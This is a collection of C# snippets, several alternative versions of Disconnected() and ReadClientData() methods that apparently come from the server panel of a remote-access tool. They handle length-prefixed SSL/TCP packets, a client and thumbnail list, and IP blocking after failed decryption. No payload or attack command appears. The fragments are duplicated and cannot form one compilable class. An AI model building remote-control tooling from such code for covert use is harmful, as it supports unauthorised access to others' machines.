public void Disconnected() { if (LV != null) { Program.form1.BeginInvoke((MethodInvoker)(() => { try { lock (Settings.LockListviewClients) LV.Remove(); if (LV2 != null) { lock (Settings.LockListviewThumb) LV2.Remove(); } } catch { } })); new HandleLogs().Addmsg($"Client {TcpClient.RemoteEndPoint.ToString().Split(':')[0]} disconnected", Color.Red); } try { SslClient?.Dispose(); TcpClient?.Dispose(); ClientMS?.Dispose(); } catch { } }
private int GetInteger() { byte[] bHeader = new byte[4]; Array.Copy(ClientMS.ToArray(), bHeader, 4); int iDentifier = BitConverter.ToInt32(bHeader, 0); Console.WriteLine("===" + iDentifier); int iLeft = (int)ClientMS.Length - 4; if (iLeft > 0) { byte[] tempBuf = new byte[iLeft]; ClientMS.Position = 4; Array.Copy(ClientMS.GetBuffer(), tempBuf, iLeft); ClientMS.Dispose(); ClientMS = new MemoryStream(); ClientMS.Write(tempBuf, 0, iLeft); } else { ClientMS.Dispose(); ClientMS = new MemoryStream(); } return(iDentifier); }
private void Process() { if (!BufSizeReady) { if (ClientMS.Length >= 4) { PacketSize = GetInteger() - 4; if (PacketSize > 0 && PacketSize < 2000 * 1024) // small than 2M { PacketBuffer = new byte[PacketSize]; Console.WriteLine("/// Server Buffersize " + PacketSize.ToString() + " Bytes ///"); BufSizeReady = true; } } } else { if (ClientMS.Length == PacketSize) { ThreadPool.QueueUserWorkItem(MsgPack.Read, new object[] { ClientMS.ToArray(), this }); PacketBuffer = new byte[4]; ClientMS.Dispose(); ClientMS = new MemoryStream(); BufSizeReady = false; } } }
public void Disconnected() { try { if (LV != null) { if (Program.form1.listView1.InvokeRequired) { Program.form1.listView1.BeginInvoke((MethodInvoker)(() => { LV.Remove(); })); } lock (Settings.Online) Settings.Online.Remove(this); } } catch { } try { if (ClientSocket.Connected) { ClientSocket.Shutdown(SocketShutdown.Both); } } catch { } try { ClientSocket?.Dispose(); ClientMS?.Dispose(); } catch { } }
public async void ReadClientData(IAsyncResult ar) { try { if (!TcpClient.Connected) { Disconnected(); return; } else { int Recevied = SslClient.EndRead(ar); if (Recevied > 0) { await ClientMS.WriteAsync(ClientBuffer, 0, Recevied); if (!ClientBufferRecevied) { if (ClientMS.Length == 4) { ClientBuffersize = BitConverter.ToInt32(ClientMS.ToArray(), 0); ClientMS.Dispose(); ClientMS = new MemoryStream(); if (ClientBuffersize > 0) { ClientBuffer = new byte[ClientBuffersize]; Debug.WriteLine("/// Server Buffersize " + ClientBuffersize.ToString() + " Bytes ///"); ClientBufferRecevied = true; } } } else { Settings.Received += Recevied; BytesRecevied += Recevied; if (ClientMS.Length == ClientBuffersize) { ThreadPool.QueueUserWorkItem(Packet.Read, new object[] { ClientMS.ToArray(), this }); ClientBuffer = new byte[4]; ClientMS.Dispose(); ClientMS = new MemoryStream(); ClientBufferRecevied = false; } } SslClient.BeginRead(ClientBuffer, 0, ClientBuffer.Length, ReadClientData, null); } else { Disconnected(); return; } } } catch { Disconnected(); return; } }
public void Disconnected() { if (LV != null) { if (Program.form1.listView1.InvokeRequired) { Program.form1.listView1.BeginInvoke((MethodInvoker)(() => { try { lock (Settings.Listview1Lock) LV.Remove(); if (LV2 != null) { lock (Settings.Listview3Lock) LV2.Remove(); } } catch { } })); } lock (Settings.Online) Settings.Online.Remove(this); } try { TcpClient.Shutdown(SocketShutdown.Both); } catch { } try { SslClient?.Close(); TcpClient?.Close(); SslClient?.Dispose(); TcpClient?.Dispose(); ClientMS?.Dispose(); } catch { } }
public void Disconnected() { try { TcpClient.Shutdown(SocketShutdown.Both); if (OnDisconnected != null) { OnDisconnected.Invoke(this); } } catch { } try { NetStream.Close(); TcpClient.Close(); NetStream.Dispose(); TcpClient.Dispose(); ClientMS.Dispose(); } catch { } }
public async void ReadClientData(IAsyncResult ar) { try { if (!ClientSocket.Connected) { Disconnected(); return; } else { int Recevied = ClientSocket.EndReceive(ar); if (Recevied > 0) { if (ClientBufferRecevied == false) { await ClientMS.WriteAsync(ClientBuffer, 0, ClientBuffer.Length); if (ClientMS.Length == 4) { ClientBuffersize = BitConverter.ToInt32(ClientMS.ToArray(), 0); ClientMS.Dispose(); ClientMS = new MemoryStream(); if (ClientBuffersize > 0) { ClientBuffer = new byte[ClientBuffersize]; Debug.WriteLine("/// Server Buffersize " + ClientBuffersize.ToString() + " Bytes ///"); ClientBufferRecevied = true; } } else { Disconnected(); return; } } else { await ClientMS.WriteAsync(ClientBuffer, 0, Recevied); Settings.Received += Recevied; BytesRecevied += Recevied; if (ClientMS.Length == ClientBuffersize) { try { ThreadPool.QueueUserWorkItem(HandlePacket.Read, new object[] { Settings.aes256.Decrypt(ClientMS.ToArray()), this }); } catch (CryptographicException) { HandleLogs.Addmsg($"Client {ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} tried to connect with wrong password, IP blocked", Color.Red); Settings.Blocked.Add(ClientSocket.RemoteEndPoint.ToString().Split(':')[0]); Disconnected(); return; } ClientBuffer = new byte[4]; ClientBuffersize = 0; ClientMS.Dispose(); ClientMS = new MemoryStream(); ClientBufferRecevied = false; } else { ClientBuffer = new byte[ClientBuffersize - ClientMS.Length]; } } ClientSocket.BeginReceive(ClientBuffer, 0, ClientBuffer.Length, SocketFlags.None, ReadClientData, null); } else { Disconnected(); return; } } } catch { Disconnected(); return; } }
public void ReadClientData(IAsyncResult ar) { try { if (!TcpClient.Connected) { Disconnected(); return; } else { int Recevied = SslClient.EndRead(ar); if (Recevied > 0) { switch (ClientBufferRecevied) { case false: { ClientMS.Write(ClientBuffer, 0, Recevied); if (ClientMS.Length == HeaderSize) { ClientBuffersize = BitConverter.ToInt32(ClientMS.ToArray(), 0); ClientMS.Dispose(); ClientMS = new MemoryStream(); if (ClientBuffersize > 0) { ClientBuffer = new byte[ClientBuffersize]; Debug.WriteLine("/// Server Buffersize " + ClientBuffersize.ToString() + " Bytes ///"); ClientBufferRecevied = true; } } break; } case true: { ClientMS.Write(ClientBuffer, 0, Recevied); lock (Settings.LockReceivedSendValue) Settings.ReceivedValue += Recevied; BytesRecevied += Recevied; if (ClientMS.Length == ClientBuffersize) { ThreadPool.QueueUserWorkItem(new Packet { client = this, data = ClientMS.ToArray(), }.Read, null); ClientBuffer = new byte[HeaderSize]; ClientMS.Dispose(); ClientMS = new MemoryStream(); ClientBufferRecevied = false; } break; } } SslClient.BeginRead(ClientBuffer, 0, ClientBuffer.Length, ReadClientData, null); } else { Disconnected(); return; } } } catch { Disconnected(); return; } }